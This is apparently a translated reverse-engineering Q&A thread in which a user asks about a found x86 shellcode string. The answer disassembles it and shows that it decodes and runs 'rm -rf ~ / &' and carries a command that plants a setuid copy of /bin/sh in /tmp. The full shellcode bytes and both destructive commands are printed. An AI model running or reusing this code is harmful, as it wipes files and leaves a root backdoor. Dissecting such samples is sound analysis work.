这个版本的 `rm -rf /` 是如何工作的?

逆向工程 拆卸 linux 外壳代码
2021-06-16 07:30:55

这个网站上,我找到了以下代码:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

我用 替换了字符",删除了尾随\并将其解码到一个文件中。这是它反汇编的内容:

00000000  EB3E              jmp short 0x40
00000002  5B                pop ebx
00000003  31C0              xor eax,eax
00000005  50                push eax
00000006  54                push esp
00000007  5A                pop edx
00000008  83EC64            sub esp,byte +0x64
0000000B  68FFFFFFFF        push dword 0xffffffff
00000010  68DFD0DFD9        push dword 0xd9dfd0df
00000015  688D99DF81        push dword 0x81df998d
0000001A  688D92DFD2        push dword 0xd2df928d
0000001F  54                push esp
00000020  5E                pop esi
00000021  F716              not dword [esi]
00000023  F75604            not dword [esi+0x4]
00000026  F75608            not dword [esi+0x8]
00000029  F7560C            not dword [esi+0xc]
0000002C  83C474            add esp,byte +0x74
0000002F  56                push esi
00000030  8D7308            lea esi,[ebx+0x8]
00000033  56                push esi
00000034  53                push ebx
00000035  54                push esp
00000036  59                pop ecx
00000037  B00B              mov al,0xb
00000039  CD80              int 0x80
0000003B  31C0              xor eax,eax
0000003D  40                inc eax
0000003E  EBF9              jmp short 0x39
00000040  E8BDFFFFFF        call dword 0x2
00000045  2F                das
00000046  62696E            bound ebp,[ecx+0x6e]
00000049  2F                das
0000004A  7368              jnc 0xb4
0000004C  00                db 0x00
0000004D  2D                db 0x2d
0000004E  6300              arpl [eax],ax

这是一个十六进制转储:

[17:20:46][~]$ hexdump -C /tmp/b
00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.>[1.PTZ..dh....|
00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|
00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|
00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|
00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|
00000050

它到底是什么?我可以看到/bin/sh并调用了execve所以我猜它是某种shellcode,但我不明白它在这个例子(char esp[] __attribute__ ((section(”.text”)))部分)中是如何运行的

1个回答

它没有在示例中运行。这是一个shellcode,必须以某种方式注入(例如使用缓冲区溢出漏洞)。要了解它是如何工作的,让我们首先在字符串上放置一些地址:

00000045  "/bin/sh"
0000004D  "-c"
0000004F  "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"

下面我们一块一块的看拆解。

00000000  EB3E              jmp short 0x40
00000002  5B                pop ebx        ; 1st argument for execve(): filename = "/bin/sh"
00000003  31C0              xor eax,eax    ; eax = 0
00000005  50                push eax       ; envp[0] = NULL, argv[3] = NULL
00000006  54                push esp
00000007  5A                pop edx        ; 3rd argument for execve(): envp = {NULL}
...
00000040  E8BDFFFFFF        call dword 0x2
00000045  "/bin/sh"
...

jmp/call 是一个众所周知的技巧:调用会将以下指令的地址压入堆栈。这被弹出到 ebx,它现在包含“/bin/sh”的地址。在系统调用中,ebx 是第一个参数。接下来,使用 xor 指令将 eax 清零并压入堆栈。指向这四个零字节的指针存储在 esp 中,以 edx 结尾(第三个参数)。execve() 的 envp 参数以空指针终止:在这种情况下没有环境变量。这也将用于 argv。

00000008  83EC64            sub esp,byte +0x64    ; Reserve 0x64 bytes on the stack
0000000B  68FFFFFFFF        push dword 0xffffffff ; Push 4th string word
00000010  68DFD0DFD9        push dword 0xd9dfd0df ; Push 3rd string word
00000015  688D99DF81        push dword 0x81df998d ; Push 2nd string word
0000001A  688D92DFD2        push dword 0xd2df928d ; Push 1st string word
0000001F  54                push esp
00000020  5E                pop esi             ; esi = esp
00000021  F716              not dword [esi]     ; Not 1st string word: 0x2d206d72 'rm -'
00000023  F75604            not dword [esi+0x4] ; Not 2nd string word: 0x7e206672 'rf ~'
00000026  F75608            not dword [esi+0x8] ; Not 3rd string word: 0x26202f20 ' / &'
00000029  F7560C            not dword [esi+0xc] ; Not 4th string word: 0x00000000 (NULL terminator)
0000002C  83C474            add esp,byte +0x74  ; Restore esp

"rm -rf ~ / &" 被推入非编码堆栈并就地解码。esi 指向解码后的字符串。

0000002F  56                push esi            ; argv[2] = "rm -rf ~ / &"
00000030  8D7308            lea esi,[ebx+0x8]   ; esi = address of "-c"
00000033  56                push esi            ; argv[1] = "-c"
00000034  53                push ebx            ; argv[0] = "bin/sh"
00000035  54                push esp
00000036  59                pop ecx    ; ecx = 2nd argument for execve(): argv = {"/bin/sh", "-c", "rm -rf ~ / &", NULL}
00000037  B00B              mov al,0xb ; 11 = execve() system call
00000039  CD80              int 0x80   ; execve()

是时候构建 argv 数组并进行调用了。上一段代码恢复了 esp,因此推送的任何内容都将在第一个 0x00000000 之后。参数被逐个压入堆栈。请记住,ebx 持有指向“/b​​in/sh”(7 个字符 + 终止符)的指针,因此 ebx+8 将是“-c”。在 shellcode 的最开始被压入堆栈的空字被重新用作 argv 的终止符。

0000003B  31C0              xor eax,eax
0000003D  40                inc eax        ; 1 = exit() system call
0000003E  EBF9              jmp short 0x39 ; exit()

使用 xor+inc eax 设置为 1,即系统调用 exit()。然后跳转到 int 0x80 指令并调用 exit() 。